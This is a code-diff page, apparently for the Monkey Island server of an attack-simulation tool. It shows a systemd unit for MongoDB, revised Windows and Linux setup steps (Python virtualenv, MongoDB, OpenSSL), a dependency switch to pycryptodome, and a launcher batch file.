|
|
||||||
Description=Monkey Island Mongo Service
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
ExecStart=/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db
|
|
||||||
KillMode=process
|
|
||||||
Restart=always
|
|
||||||
ExecStop=/var/monkey/monkey_island/bin/mongodb/bin/mongod --shutdown
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
|
@ -6,26 +6,23 @@ How to set up the Monkey Island server:
|
||||||
---------------- On Windows ----------------:
|
---------------- On Windows ----------------:
|
||||||
0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation.
|
0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation.
|
||||||
1. Create folder "bin" under monkey_island
|
1. Create folder "bin" under monkey_island
|
||||||
2. Place portable version of Python 2.7
|
2. Place portable version of Python 2.7.15
|
||||||
2.1. Download and install from: https://www.python.org/download/releases/2.7/
|
2.1. Download and install from: https://www.python.org/downloads/release/python-2715/
|
||||||
2.2. Install the required python libraries using "python -m pip install -r monkey_island\requirements.txt"
|
2.2. Install virtualenv using "python -m pip install virtualenv"
|
||||||
2.3. Copy contents from installation path (Usually C:\Python27) to monkey_island\bin\Python27
|
2.3. Create a virtualenv using "python -m virtualenv --always-copy <PATH TO BIN>\Python27" Where <PATH TO BIN> is the path to the bin folder created on step 1.
|
||||||
2.4. Copy Python27.dll from System32 folder (Usually C:\Windows\System32 or C:\Python27) to monkey_island\bin\Python27
|
2.4. Run "python -m virtualenv --relocatable <PATH TO BIN>\Python27"
|
||||||
2.5. (Optional) You may uninstall Python27 if you like.
|
2.5. Install the required python libraries using "<PATH TO BIN>\Python27\Scripts\python -m pip install -r monkey_island\requirements.txt"
|
||||||
|
2.6. Copy DLLs from installation path (Usually C:\Python27\DLLs) to <PATH TO BIN>\Python27\DLLs
|
||||||
|
2.7. (Optional) You may uninstall Python27 if you like.
|
||||||
3. Setup mongodb (Use one of the following two options):
|
3. Setup mongodb (Use one of the following two options):
|
||||||
3.1 Place portable version of mongodb
|
3.a Place portable version of mongodb
|
||||||
3.1.1 Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip
|
3.a.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip
|
||||||
3.2.1 Extract contents from bin folder to monkey_island\bin\mongodb.
|
3.a.2. Extract contents from bin folder to monkey_island\bin\mongodb.
|
||||||
3.3.1 Create monkey_island\db folder.
|
3.a.3. Create monkey_island\db folder.
|
||||||
|
|
||||||
OR
|
OR
|
||||||
|
3.b. Use already running instance of mongodb
|
||||||
3.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable:
|
3.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server
|
||||||
|
|
||||||
example for mongodb running on host with IP address 192.168.10.10:
|
|
||||||
|
|
||||||
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
|
|
||||||
|
|
||||||
4. Place portable version of OpenSSL
|
4. Place portable version of OpenSSL
|
||||||
4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip
|
4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip
|
||||||
4.2. Extract content from bin folder to monkey_island\bin\openssl
|
4.2. Extract content from bin folder to monkey_island\bin\openssl
|
||||||
|
@ -67,23 +64,16 @@ How to run:
|
||||||
monkey-windows-64.exe - monkey binary for windows 64bi
|
monkey-windows-64.exe - monkey binary for windows 64bi
|
||||||
|
|
||||||
4. Setup MongoDB (Use one of the two following options):
|
4. Setup MongoDB (Use one of the two following options):
|
||||||
|
4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb
|
||||||
4.1 Download MongoDB and extract it to /var/monkey_island/bin/mongodb
|
|
||||||
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
|
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
|
||||||
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
|
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
|
||||||
find more at - https://www.mongodb.org/downloads#production
|
find more at - https://www.mongodb.org/downloads#production
|
||||||
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
|
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
|
||||||
(make sure the content of the mongo folder is in this directory, meaning this path exists:
|
(make sure the content of the mongo folder is in this directory, meaning this path exists:
|
||||||
/var/monkey_island/bin/mongodb/bin)
|
/var/monkey_island/bin/mongodb/bin)
|
||||||
|
|
||||||
OR
|
OR
|
||||||
|
4.b. Use already running instance of mongodb
|
||||||
4.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable:
|
4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server
|
||||||
|
|
||||||
example for mongodb running on host with IP address 192.168.10.10:
|
|
||||||
|
|
||||||
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
|
|
||||||
|
|
||||||
|
|
||||||
5. install OpenSSL
|
5. install OpenSSL
|
||||||
sudo apt-get install openssl
|
sudo apt-get install openssl
|
||||||
|
|
|
@ -13,6 +13,6 @@ jsonschema
|
||||||
netifaces
|
netifaces
|
||||||
ipaddress
|
ipaddress
|
||||||
enum34
|
enum34
|
||||||
PyCrypto
|
pycryptodome
|
||||||
boto3
|
boto3
|
||||||
awscli
|
awscli
|
|
@ -1,4 +1,4 @@
|
||||||
@title C^&C Server
|
@title C^&C Server
|
||||||
@pushd ..
|
@pushd ..
|
||||||
@monkey_island\bin\Python27\python monkey_island.py
|
@monkey_island\bin\Python27\Scripts\python monkey_island.py
|
||||||
@popd
|
@popd
|
Loading…
Reference in New Issue